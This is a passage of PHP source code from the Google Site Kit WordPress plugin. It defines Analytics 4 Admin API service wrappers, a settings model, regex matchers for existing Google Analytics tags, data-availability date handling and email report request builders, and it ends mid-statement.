$rootUrl The root URL used for requests to the service. */ public function __construct( Google_Client $client, $rootUrl = null ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName parent::__construct( $client, $rootUrl ); // phpcs:ignore WordPress.NamingConventions.ValidVariableName $this->version = 'v1alpha'; // phpcs:ignore WordPress.NamingConventions.ValidVariableName $this->properties_enhancedMeasurements = new PropertiesEnhancedMeasurementResource( $this, $this->serviceName, // phpcs:ignore WordPress.NamingConventions.ValidVariableName 'enhancedMeasurements', array( 'methods' => array( 'getEnhancedMeasurementSettings' => array( 'path' => 'v1alpha/{+name}', 'httpMethod' => 'GET', 'parameters' => array( 'name' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), 'updateEnhancedMeasurementSettings' => array( 'path' => 'v1alpha/{+name}', 'httpMethod' => 'PATCH', 'parameters' => array( 'name' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'updateMask' => array( 'location' => 'query', 'type' => 'string', ), ), ), ), ) ); } } <?php /** * Class AccountProvisioningService * * @package Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin; use Google\Site_Kit_Dependencies\Google_Client; /** * Class for Analytics account provisioning service of the GoogleAnalytics Admin API. * * @since 1.98.0 * @access private * @ignore */ class AccountProvisioningService extends GoogleAnalyticsAdmin { /** * Accounts resource instance. * * @var AccountsResource */ public $accounts; /** * Constructor. * * @since 1.98.0 * * @param Google_Client $client The client used to deliver requests. * @param string $rootUrl The root URL used for requests to the service. */ public function __construct( Google_Client $client, $rootUrl = null ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName parent::__construct( $client, $rootUrl ); // phpcs:ignore WordPress.NamingConventions.ValidVariableName $this->accounts = new AccountsResource( $this, $this->serviceName, // phpcs:ignore WordPress.NamingConventions.ValidVariableName 'accounts', array( 'methods' => array( 'provisionAccountTicket' => array( 'path' => 'v1beta/accounts:provisionAccountTicket', 'httpMethod' => 'POST', 'parameters' => array(), ), ), ) ); } } <?php /** * Class PropertiesAudiencesService * * @package Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin\Resource\PropertiesAudiences; use Google\Site_Kit_Dependencies\Google_Client; /** * Class for managing GA4 audiences. * * @since 1.120.0 * @access private * @ignore */ class PropertiesAudiencesService extends GoogleAnalyticsAdmin { /** * PropertiesAudiences instance. * * @var PropertiesAudiences */ public $properties_audiences; /** * Constructor. * * @since 1.120.0 * * @param Google_Client $client The client used to deliver requests. * @param string $rootUrl The root URL used for requests to the service. */ public function __construct( Google_Client $client, $rootUrl = null ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName parent::__construct( $client, $rootUrl ); // phpcs:ignore WordPress.NamingConventions.ValidVariableName $this->version = 'v1alpha'; $this->properties_audiences = new PropertiesAudiences( $this, $this->serviceName, // phpcs:ignore WordPress.NamingConventions.ValidVariableName 'audiences', array( 'methods' => array( 'create' => array( 'path' => 'v1alpha/{+parent}/audiences', 'httpMethod' => 'POST', 'parameters' => array( 'parent' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), 'list' => array( 'path' => 'v1alpha/{+parent}/audiences', 'httpMethod' => 'GET', 'parameters' => array( 'parent' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'pageSize' => array( 'location' => 'query', 'type' => 'integer', ), 'pageToken' => array( 'location' => 'query', 'type' => 'string', ), ), ), ), ) ); } } <?php // phpcs:ignoreFile // Suppress coding standards checks for this file. // Reason: This file is a copy of the `GoogleAnalyticsAdminV1alphaEnhancedMeasurementSettings` class // from the Google API PHP Client library with a slight modification. /** * Class EnhancedMeasurementSettingsModel * * @package Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin; /** * The EnhancedMeasurementSettingsModel class. */ class EnhancedMeasurementSettingsModel extends \Google\Site_Kit_Dependencies\Google\Model { public $fileDownloadsEnabled; public $name; public $outboundClicksEnabled; public $pageChangesEnabled; public $scrollsEnabled; public $searchQueryParameter; public $siteSearchEnabled; public $streamEnabled; public $uriQueryParameter; public $videoEngagementEnabled; public function setFileDownloadsEnabled( $fileDownloadsEnabled ) { $this->fileDownloadsEnabled = $fileDownloadsEnabled; } public function getFileDownloadsEnabled() { return $this->fileDownloadsEnabled; } public function setName( $name ) { $this->name = $name; } public function getName() { return $this->name; } public function setOutboundClicksEnabled( $outboundClicksEnabled ) { $this->outboundClicksEnabled = $outboundClicksEnabled; } public function getOutboundClicksEnabled() { return $this->outboundClicksEnabled; } public function setPageChangesEnabled( $pageChangesEnabled ) { $this->pageChangesEnabled = $pageChangesEnabled; } public function getPageChangesEnabled() { return $this->pageChangesEnabled; } public function setScrollsEnabled( $scrollsEnabled ) { $this->scrollsEnabled = $scrollsEnabled; } public function getScrollsEnabled() { return $this->scrollsEnabled; } public function setSearchQueryParameter( $searchQueryParameter ) { $this->searchQueryParameter = $searchQueryParameter; } public function getSearchQueryParameter() { return $this->searchQueryParameter; } public function setSiteSearchEnabled( $siteSearchEnabled ) { $this->siteSearchEnabled = $siteSearchEnabled; } public function getSiteSearchEnabled() { return $this->siteSearchEnabled; } public function setStreamEnabled( $streamEnabled ) { $this->streamEnabled = $streamEnabled; } public function getStreamEnabled() { return $this->streamEnabled; } public function setUriQueryParameter( $uriQueryParameter ) { $this->uriQueryParameter = $uriQueryParameter; } public function getUriQueryParameter() { return $this->uriQueryParameter; } public function setVideoEngagementEnabled( $videoEngagementEnabled ) { $this->videoEngagementEnabled = $videoEngagementEnabled; } public function getVideoEngagementEnabled() { return $this->videoEngagementEnabled; } } <?php /** * Class AccountsResource * * @package Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin\GoogleAnalyticsAdminV1betaProvisionAccountTicketResponse; use Google\Site_Kit_Dependencies\Google\Service\Resource; /** * Class for representing the Accounts resource of the GoogleAnalytics Admin API for provisioning. * * @since 1.98.0 * @access private * @ignore */ class AccountsResource extends Resource { /** * Requests a ticket for creating an account. * * @since 1.98.0 * * @param Proxy_GoogleAnalyticsAdminProvisionAccountTicketRequest $post_body The post body to send. * @param array $opt_params Optional parameters. * @return GoogleAnalyticsAdminV1betaProvisionAccountTicketResponse */ public function provisionAccountTicket( Proxy_GoogleAnalyticsAdminProvisionAccountTicketRequest $post_body, $opt_params = array() ) { $params = array( 'postBody' => $post_body ); $params = array_merge( $params, $opt_params ); return $this->call( 'provisionAccountTicket', array( $params ), GoogleAnalyticsAdminV1betaProvisionAccountTicketResponse::class ); } } <?php /** * Class PropertiesAdSenseLinksService * * @package Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin; use Google\Site_Kit_Dependencies\Google_Client; use Google\Site_Kit_Dependencies\Google_Service_GoogleAnalyticsAdmin_PropertiesAdSenseLinks_Resource as PropertiesAdSenseLinksResource; /** * Class for managing GA4 AdSense Links. * * @since 1.119.0 * @access private * @ignore */ class PropertiesAdSenseLinksService extends GoogleAnalyticsAdmin { /** * PropertiesAdSenseLinksResource instance. * * @var PropertiesAdSenseLinksResource */ public $properties_adSenseLinks; // phpcs:ignore WordPress.NamingConventions.ValidVariableName /** * Constructor. * * @since 1.119.0 * * @param Google_Client $client The client used to deliver requests. * @param string $rootUrl The root URL used for requests to the service. */ public function __construct( Google_Client $client, $rootUrl = null ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName parent::__construct( $client, $rootUrl ); // phpcs:ignore WordPress.NamingConventions.ValidVariableName $this->version = 'v1alpha'; // phpcs:ignore WordPress.NamingConventions.ValidVariableName $this->properties_adSenseLinks = new PropertiesAdSenseLinksResource( $this, $this->serviceName, // phpcs:ignore WordPress.NamingConventions.ValidVariableName 'adSenseLinks', array( 'methods' => array( 'create' => array( 'path' => 'v1alpha/{+parent}/adSenseLinks', 'httpMethod' => 'POST', 'parameters' => array( 'parent' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), 'delete' => array( 'path' => 'v1alpha/{+name}', 'httpMethod' => 'DELETE', 'parameters' => array( 'name' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), 'get' => array( 'path' => 'v1alpha/{+name}', 'httpMethod' => 'GET', 'parameters' => array( 'name' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), 'list' => array( 'path' => 'v1alpha/{+parent}/adSenseLinks', 'httpMethod' => 'GET', 'parameters' => array( 'parent' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'pageSize' => array( 'location' => 'query', 'type' => 'integer', ), 'pageToken' => array( 'location' => 'query', 'type' => 'string', ), ), ), ), ) ); } } <?php /** * Class Google\Site_Kit\Core\Modules\Analytics_4\Tag_Matchers * * @package Google\Site_Kit\Core\Modules\Analytics_4 * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules\Analytics_4; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Matchers; use Google\Site_Kit\Core\Tags\Tag_Matchers_Interface; /** * Class for Tag matchers. * * @since 1.119.0 * @access private * @ignore */ class Tag_Matchers extends Module_Tag_Matchers implements Tag_Matchers_Interface { /** * Holds array of regex tag matchers. * * @since 1.119.0 * * @return array Array of regex matchers. */ public function regex_matchers() { $tag_matchers = array( "/__gaTracker\s*\(\s*['|\"]create['|\"]\s*,\s*['|\"](G-[a-zA-Z0-9]+)['|\"]\, ?['|\"]auto['|\"]\s*\)/i", "/_gaq\.push\s*\(\s*\[\s*['|\"][^_]*_setAccount['|\"]\s*,\s*['|\"](G-[a-zA-Z0-9]+)['|\"]\s*],?\s*\)/i", '/<amp-analytics\s+[^>]*type="gtag"[^>]*>[^<]*<script\s+type="application\/json">[^<]*"gtag_id"\s*:\s*"(G-[a-zA-Z0-9]+)"/i', '/<amp-analytics\s+[^>]*type="googleanalytics"[^>]*>[^<]*<script\s+type="application\/json">[^<]*"account"\s*:\s*"(G-[a-zA-Z0-9]+)"/i', ); $subdomains = array( '', 'www\\.' ); foreach ( $subdomains as $subdomain ) { $tag_matchers[] = "/<script\\s+[^>]*src=['|\"]https?:\\/\\/" . $subdomain . "googletagmanager\\.com\\/gtag\\/js\\?id=(G-[a-zA-Z0-9]+)['|\"][^>]*><\\/script>/i"; $tag_matchers[] = "/<script\\s+[^>]*src=['|\"]https?:\/\/" . $subdomain . "googletagmanager\\.com\\/gtag\\/js\\?id=(G-[a-zA-Z0-9]+)['|\"][^\\/]*\/>/i"; } $funcs = array( '__gaTracker', 'ga', 'gtag' ); foreach ( $funcs as $func ) { $tag_matchers[] = "/$func\\s*\\(\\s*['|\"]create['|\"]\\s*,\\s*['|\"](G-[a-zA-Z0-9]+)['|\"]\\,\\s*['|\"]auto['|\"]\\s*\\)/i"; $tag_matchers[] = "/$func\\s*\\(\\s*['|\"]config['|\"]\\s*,\\s*['|\"](G-[a-zA-Z0-9]+)['|\"]\\s*\\)/i"; $tag_matchers[] = "/$func\\s*\\(\\s*['|\"]config['|\"]\\s*,\\s*['|\"](GT-[a-zA-Z0-9]+)['|\"]\\s*\\)/i"; } return $tag_matchers; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Resource_Data_Availability_Date * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Storage\Options_Interface; use Google\Site_Kit\Core\Storage\Transients; use Google\Site_Kit\Core\Util\Feature_Flags; use Google\Site_Kit\Modules\Analytics_4\Audience_Settings; /** * Class for managing Analytics 4 resource data availability date. * * @since 1.127.0 * @access private * @ignore */ class Resource_Data_Availability_Date { /** * List of valid custom dimension slugs. * * @since 1.127.0 * @var array */ const CUSTOM_DIMENSION_SLUGS = array( 'googlesitekit_post_type', ); const RESOURCE_TYPE_AUDIENCE = 'audience'; const RESOURCE_TYPE_CUSTOM_DIMENSION = 'customDimension'; const RESOURCE_TYPE_PROPERTY = 'property'; /** * Transients instance. * * @since 1.127.0 * @var Transients */ protected $transients; /** * Module settings. * * @since 1.127.0 * @var Module_Settings */ protected $settings; /** * Options instance. * * @since 1.151.0 * @var Audience_Settings */ protected $audience_settings; /** * Constructor. * * @since 1.127.0 * * @param Transients $transients Transients instance. * @param Module_Settings $settings Module settings instance. * @param Audience_Settings $audience_settings Audience_Settings instance. */ public function __construct( Transients $transients, Module_Settings $settings, Audience_Settings $audience_settings ) { $this->transients = $transients; $this->settings = $settings; $this->audience_settings = $audience_settings; } /** * Gets the data availability date for the given resource. * * @since 1.127.0 * * @param string $resource_slug Resource slug. * @param string $resource_type Resource type. * @return int Data availability date in YYYYMMDD format on success, 0 otherwise. */ public function get_resource_date( $resource_slug, $resource_type ) { return (int) $this->transients->get( $this->get_resource_transient_name( $resource_slug, $resource_type ) ); } /** * Sets the data availability date for the given resource. * * @since 1.127.0 * * @param string $resource_slug Resource slug. * @param string $resource_type Resource type. * @param int $date Data availability date. * @return bool True on success, false otherwise. */ public function set_resource_date( $resource_slug, $resource_type, $date ) { return $this->transients->set( $this->get_resource_transient_name( $resource_slug, $resource_type ), $date ); } /** * Resets the data availability date for the given resource. * * @since 1.127.0 * * @param string $resource_slug Resource slug. * @param string $resource_type Resource type. * @return bool True on success, false otherwise. */ public function reset_resource_date( $resource_slug, $resource_type ) { return $this->transients->delete( $this->get_resource_transient_name( $resource_slug, $resource_type ) ); } /** * Gets data availability dates for all resources. * * @since 1.127.0 * * @return array Associative array of resource names and their data availability date. */ public function get_all_resource_dates() { $property_id = $this->get_property_id(); $available_audiences = $this->get_available_audience_resource_names(); return array_map( // Filter out falsy values (0) from every resource's data availability dates. fn( $data_availability_dates ) => array_filter( $data_availability_dates ), array( // Get data availability dates for the available audiences. self::RESOURCE_TYPE_AUDIENCE => array_reduce( $available_audiences, function ( $audience_data_availability_dates, $audience ) { $audience_data_availability_dates[ $audience ] = $this->get_resource_date( $audience, self::RESOURCE_TYPE_AUDIENCE ); return $audience_data_availability_dates; }, array() ), // Get data availability dates for the custom dimensions. self::RESOURCE_TYPE_CUSTOM_DIMENSION => array_reduce( self::CUSTOM_DIMENSION_SLUGS, function ( $custom_dimension_data_availability_dates, $custom_dimension ) { $custom_dimension_data_availability_dates[ $custom_dimension ] = $this->get_resource_date( $custom_dimension, self::RESOURCE_TYPE_CUSTOM_DIMENSION ); return $custom_dimension_data_availability_dates; }, array() ), // Get data availability date for the current property. self::RESOURCE_TYPE_PROPERTY => array( $property_id => $this->get_resource_date( $property_id, self::RESOURCE_TYPE_PROPERTY ), ), ) ); } /** * Resets the data availability date for all resources. * * @since 1.127.0 * * @param array/null $available_audience_names Optional. List of available audience resource names. If not provided, it will be fetched from settings. * @param string/null $property_id Optional. Property ID. If not provided, it will be fetched from settings. */ public function reset_all_resource_dates( $available_audience_names = null, $property_id = null ) { foreach ( self::CUSTOM_DIMENSION_SLUGS as $custom_dimension ) { $this->reset_resource_date( $custom_dimension, self::RESOURCE_TYPE_CUSTOM_DIMENSION ); } $available_audience_names = $available_audience_names ?: $this->get_available_audience_resource_names(); foreach ( $available_audience_names as $audience_name ) { $this->reset_resource_date( $audience_name, self::RESOURCE_TYPE_AUDIENCE ); } $property_id = $property_id ?: $this->get_property_id(); $this->reset_resource_date( $property_id, self::RESOURCE_TYPE_PROPERTY ); } /** * Checks whether the given resource type is valid. * * @since 1.127.0 * * @param string $resource_type Resource type. * @return bool True if valid, false otherwise. */ public function is_valid_resource_type( $resource_type ) { return in_array( $resource_type, array( self::RESOURCE_TYPE_AUDIENCE, self::RESOURCE_TYPE_CUSTOM_DIMENSION, self::RESOURCE_TYPE_PROPERTY ), true ); } /** * Checks whether the given resource slug is valid. * * @since 1.127.0 * * @param string $resource_slug Resource slug. * @param string $resource_type Resource type. * @return bool True if valid, false otherwise. */ public function is_valid_resource_slug( $resource_slug, $resource_type ) { switch ( $resource_type ) { case self::RESOURCE_TYPE_AUDIENCE: return in_array( $resource_slug, $this->get_available_audience_resource_names(), true ); case self::RESOURCE_TYPE_CUSTOM_DIMENSION: return in_array( $resource_slug, self::CUSTOM_DIMENSION_SLUGS, true ); case self::RESOURCE_TYPE_PROPERTY: return $resource_slug === $this->get_property_id(); default: return false; } } /** * Gets data available date transient name for the given resource. * * @since 1.127.0 * * @param string $resource_slug Resource slug. * @param string $resource_type Resource type. * @return string Data available date transient name. */ protected function get_resource_transient_name( $resource_slug, $resource_type ) { return "googlesitekit_{$resource_type}_{$resource_slug}_data_availability_date"; } /** * Gets available audience resource names. * * @since 1.127.0 * * @return array List of available audience resource names. */ private function get_available_audience_resource_names() { $available_audiences = $this->audience_settings->get(); $available_audiences = $available_audiences['availableAudiences'] ?? array(); return array_map( function ( $audience ) { return $audience['name']; }, $available_audiences ); } /** * Gets the property ID from settings instance. * * @since 1.127.0 * * @return string Property ID. */ private function get_property_id() { return $this->settings->get()['propertyID']; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Email_Reporting\Report_Request_Assembler * * @package Google\Site_Kit\Modules\Analytics_4\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Email_Reporting; use Google\Site_Kit\Modules\Analytics_4\Email_Reporting\Report_Options as Analytics_Report_Options; /** * Builds Analytics 4 batch requests and maps responses for email reporting. * * @since 1.170.0 * @access private * @ignore */ class Report_Request_Assembler { /** * Report options instance. * * @since 1.170.0 * @var Analytics_Report_Options */ private $report_options; /** * Constructor. * * @since 1.170.0 * * @param Analytics_Report_Options $report_options Report options instance. */ public function __construct( Analytics_Report_Options $report_options ) { $this->report_options = $report_options; } /** * Builds Analytics 4 batch report requests. * * @since 1.170.0 * * @param array $custom_titles Optional. Custom titles keyed by request key. * @return array Array of report requests keyed by payload key. */ public function build_requests( array $custom_titles = array() ) { $requests = array( 'total_visitors' => $this->report_options->get_total_visitors_options(), 'traffic_channels' => $this->report_options->get_traffic_channels_options(), 'popular_content' => $this->report_options->get_popular_content_options(), ); $conversion_events = $this->report_options->get_conversion_events(); $has_add_to_cart = in_array( 'add_to_cart', $conversion_events, true ); $has_purchase = in_array( 'purchase', $conversion_events, true ); if ( $has_add_to_cart || $has_purchase ) { $requests['total_conversion_events'] = $this->report_options->get_total_conversion_events_options(); if ( $has_add_to_cart ) { $requests['products_added_to_cart'] = $this->report_options->get_products_added_to_cart_options(); } if ( $has_purchase ) { $requests['purchases'] = $this->report_options->get_purchases_options(); } } if ( $this->report_options->is_audience_segmentation_enabled() ) { $requests['new_visitors'] = $this->report_options->get_new_visitors_options(); $requests['returning_visitors'] = $this->report_options->get_returning_visitors_options(); list( $custom_audience_requests, $custom_titles_map ) = $this->build_custom_audience_requests(); $requests = array_merge( $requests, $custom_audience_requests ); $custom_titles = array_merge( $custom_titles, $custom_titles_map ); } if ( $this->report_options->has_custom_dimension_data( 'postAuthor' ) ) { $requests['top_authors'] = $this->report_options->get_top_authors_options(); } if ( $this->report_options->has_custom_dimension_data( 'postCategories' ) ) { $requests['top_categories'] = $this->report_options->get_top_categories_options(); } return array( $requests, $custom_titles ); } /** * Builds custom audience requests and titles from configured audiences. * * @since 1.170.0 * * @return array Tuple of request map and titles map. */ private function build_custom_audience_requests() { $custom_requests = array(); $custom_titles = array(); $custom_audiences = $this->report_options->get_custom_audiences_options(); if ( empty( $custom_audiences['options'] ) || empty( $custom_audiences['audiences'] ) ) { return array( $custom_requests, $custom_titles ); } $site_kit_audience_resources = $this->report_options->get_site_kit_audience_resource_names(); $base_options = $custom_audiences['options']; foreach ( $custom_audiences['audiences'] as $index => $audience ) { $resource_name = $audience['resourceName'] ?? ''; $display_name = $audience['displayName'] ?? $resource_name; if ( '' === $resource_name ) { continue; } // Avoid duplicating Site Kit-provided audiences (new/returning). if ( in_array( $resource_name, $site_kit_audience_resources, true ) ) { continue; } $custom_options = $base_options; $custom_options['dimensionFilters']['audienceResourceName'] = array( $resource_name ); $request_key = sprintf( 'custom_audience_%d', $index ); $custom_requests[ $request_key ] = $custom_options; $custom_titles[ $request_key ] = $display_name; } return array( $custom_requests, $custom_titles ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Email_Reporting\Report_Options * * @package Google\Site_Kit\Modules\Analytics_4\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Email_Reporting; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Email_Reporting\Report_Options\Report_Options as Base_Report_Options; use Google\Site_Kit\Core\Storage\Options as Core_Options; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\User\Audience_Settings as User_Audience_Settings; use Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Modules\Analytics_4\Audience_Settings as Module_Audience_Settings; /** * Builds Analytics 4 report option payloads for email reporting. * * @since 1.167.0 * @access private * @ignore */ class Report_Options extends Base_Report_Options { /** * Cached custom dimension availability flags. * * @since 1.170.0 * @var array */ private $custom_dimension_availability = array(); /** * Conversion events. * * @since 1.170.0 * @var array */ private $conversion_events = array(); /** * Whether audience segmentation is enabled. * * Null value means the 'audienceSegmentationSetupCompletedBy' * setting value will be used to determine whether Audience * Segmentation is enabled. * * See `is_audience_segmentation_enabled` method for more info. * * @since 1.170.0 * @var bool|null */ private $audience_segmentation_enabled = null; /** * Ecommerce conversion events. * * @since 1.167.0 * * @var string[] */ private $ecommerce_events = array( 'add_to_cart', 'purchase', ); /** * Audience configuration helper. * * @since 1.167.0 * * @var Audience_Config */ private $audience_config; /** * Constructor. * * @since 1.167.0 * * @param array $date_range Current period range array. * @param array $compare_range Compare period range array. * @param Context $context Plugin context. */ public function __construct( $date_range, $compare_range, Context $context ) { parent::__construct( $date_range, $compare_range ); $user_settings = new User_Audience_Settings( new User_Options( $context ) ); $module_settings = new Module_Audience_Settings( new Core_Options( $context ) ); $this->audience_config = new Audience_Config( $user_settings, $module_settings ); } /** * Sets custom dimension availability map. * * @since 1.170.0 * * @param array $availability Availability map keyed by custom dimension slug. */ public function set_custom_dimension_availability( $availability ) { $this->custom_dimension_availability = $availability; } /** * Sets conversion events. * * @since 1.170.0 * * @param array $events Conversion events. */ public function set_conversion_events( $events ) { $this->conversion_events = $events; } /** * Sets audience segmentation flag. * * @since 1.170.0 * * @param bool $enabled Whether audience segmentation is enabled. */ public function set_audience_segmentation_enabled( $enabled ) { $this->audience_segmentation_enabled = (bool) $enabled; } /** * Gets conversion events. * * @since 1.170.0 * * @return array Conversion events. */ public function get_conversion_events() { return $this->conversion_events; } /** * Whether audience segmentation is enabled. * * @since 1.170.0 * * @return bool */ public function is_audience_segmentation_enabled() { if ( null !== $this->audience_segmentation_enabled ) { return (bool) $this->audience_segmentation_enabled; } $settings = $this->audience_config->get_module_settings(); return ! empty( $settings['audienceSegmentationSetupCompletedBy'] ); } /** * Whether custom dimension data is available. * * @since 1.170.0 * * @param string $custom_dimension Custom dimension slug. * @return bool */ public function has_custom_dimension_data( $custom_dimension ) { return ! empty( $this->custom_dimension_availability[ $custom_dimension ] ); } /** * Gets report options for the total conversion events section. * * @since 1.167.0 * * @return array Report request options array. */ public function get_total_conversion_events_options() { return $this->with_current_range( array( 'metrics' => array( array( 'name' => 'eventCount' ), ), 'dimensionFilters' => array( 'eventName' => $this->ecommerce_events, ), 'keepEmptyRows' => true, ), true ); } /** * Gets report options for products added to cart. * * @since 1.167.0 * * @return array Report request options array. */ public function get_products_added_to_cart_options() { return $this->with_current_range( array( 'metrics' => array( array( 'name' => 'addToCarts' ), ), 'dimensions' => array( array( 'name' => 'sessionDefaultChannelGroup' ), ), 'orderby' => array( array( 'metric' => array( 'metricName' => 'addToCarts' ), 'desc' => true, ), ), 'limit' => 5, 'keepEmptyRows' => true, ) ); } /** * Gets report options for purchases. * * @since 1.167.0 * * @return array Report request options array. */ public function get_purchases_options() { return $this->with_current_range( array( 'metrics' => array( array( 'name' => 'ecommercePurchases' ), ), 'dimensions' => array( array( 'name' => 'sessionDefaultChannelGroup' ), ), 'orderby' => array( array( 'metric' => array( 'metricName' => 'ecommercePurchases' ), 'desc' => true, ), ), 'limit' => 5, 'keepEmptyRows' => true, ) ); } /** * Gets report options for total visitors. * * @since 1.167.0 * * @return array Report request options array. */ public function get_total_visitors_options() { return $this->with_current_range( array( 'metrics' => array( array( 'name' => 'totalUsers' ), ), ), true ); } /** * Gets report options for new visitors. * * @since 1.167.0 * * @return array Report request options array. */ public function get_new_visitors_options() { return $this->build_audience_report_options( 'new-visitors', 'new' ); } /** * Gets report options for returning visitors. * * @since 1.167.0 * * @return array Report request options array. */ public function get_returning_visitors_options() { return $this->build_audience_report_options( 'returning-visitors', 'returning' ); } /** * Gets report options for custom audiences (user configured). * * @since 1.167.0 * * @return array Report payload, holding report options array and audience metadata. */ public function get_custom_audiences_options() { $audience_data = $this->audience_config->get_configured_audiences(); if ( empty( $audience_data['resource_names'] ) ) { return array( 'options' => array(), 'audiences' => array(), ); } $options = $this->with_current_range( array( 'metrics' => array( array( 'name' => 'totalUsers' ), ), 'dimensions' => array( array( 'name' => 'audienceResourceName' ), ), 'dimensionFilters' => array( 'audienceResourceName' => $audience_data['resource_names'], ), 'keepEmptyRows' => true, ), true ); return array( 'options' => $options, 'audiences' => $audience_data['audiences'], ); } /** * Gets resource names for Site Kit provided audiences (new/returning). * * @since 1.170.0 * * @return array List of audience resource names. */ public function get_site_kit_audience_resource_names() { $map = $this->audience_config->get_site_kit_audience_map(); return array_values( $map ); } /** * Gets report options for the traffic channels by visitor count section. * * @since 1.167.0 * * @return array Report request options array. */ public function get_traffic_channels_options() { return $this->with_current_range( array( 'metrics' => array( array( 'name' => 'totalUsers' ), ), 'dimensions' => array( array( 'name' => 'sessionDefaultChannelGroup' ), ), 'orderby' => array( array( 'metric' => array( 'metricName' => 'totalUsers' ), 'desc' => true, ), ), 'limit' => 3, 'keepEmptyRows' => true, ), true ); } /** * Gets report options for pages with the most pageviews. * * @since 1.167.0 * * @return array Report request options array. */ public function get_popular_content_options() { return $this->with_current_range( array( 'metrics' => array( array( 'name' => 'screenPageViews' ), ), 'dimensions' => array( array( 'name' => 'pageTitle' ), array( 'name' => 'pagePath' ), ), 'orderby' => array( array( 'metric' => array( 'metricName' => 'screenPageViews' ), 'desc' => true, ), ), 'limit' => 3, 'keepEmptyRows' => true, ), true ); } /** * Gets report options for top authors by pageviews. * * @since 1.167.0 * * @return array Report request options array. */ public function get_top_authors_options() { return $this->with_current_range( array( 'metrics' => array( array( 'name' => 'screenPageViews' ), ), 'dimensions' => array( array( 'name' => sprintf( 'customEvent:%s', Analytics_4::CUSTOM_DIMENSION_POST_AUTHOR ), ), ), 'dimensionFilters' => array( sprintf( 'customEvent:%s', Analytics_4::CUSTOM_DIMENSION_POST_AUTHOR ) => array( 'filterType' => 'emptyFilter', 'notExpression' => true, ), ), 'orderby' => array( array( 'metric' => array( 'metricName' => 'screenPageViews' ), 'desc' => true, ), ), 'limit' => 3, 'keepEmptyRows' => true, ), true ); } /** * Gets report options for top categories by pageviews. * * @since 1.167.0 * * @return array Report request options array. */ public function get_top_categories_options() { return $this->with_current_range( array( 'metrics' => array( array( 'name' => 'screenPageViews' ), ), 'dimensions' => array( array( 'name' => sprintf( 'customEvent:%s', Analytics_4::CUSTOM_DIMENSION_POST_CATEGORIES ), ), ), 'dimensionFilters' => array( sprintf( 'customEvent:%s', Analytics_4::CUSTOM_DIMENSION_POST_CATEGORIES ) => array( 'filterType' => 'emptyFilter', 'notExpression' => true, ), ), 'orderby' => array( array( 'metric' => array( 'metricName' => 'screenPageViews' ), 'desc' => true, ), ), 'limit' => 3, 'keepEmptyRows' => true, ), true ); } /** * Builds report options for Site Kit-created audiences, with a fallback to the core dimension if unavailable. * * @since 1.167.0 * * @param string $audience_slug Audience slug (e.g. 'new-visitors'). * @param string $fallback_segment Fallback segment value for newVsReturning. * @return array Report request options array. */ private function build_audience_report_options( $audience_slug, $fallback_segment ) { $site_kit_audiences = $this->audience_config->get_site_kit_audience_map(); $resource_name = $site_kit_audiences[ $audience_slug ] 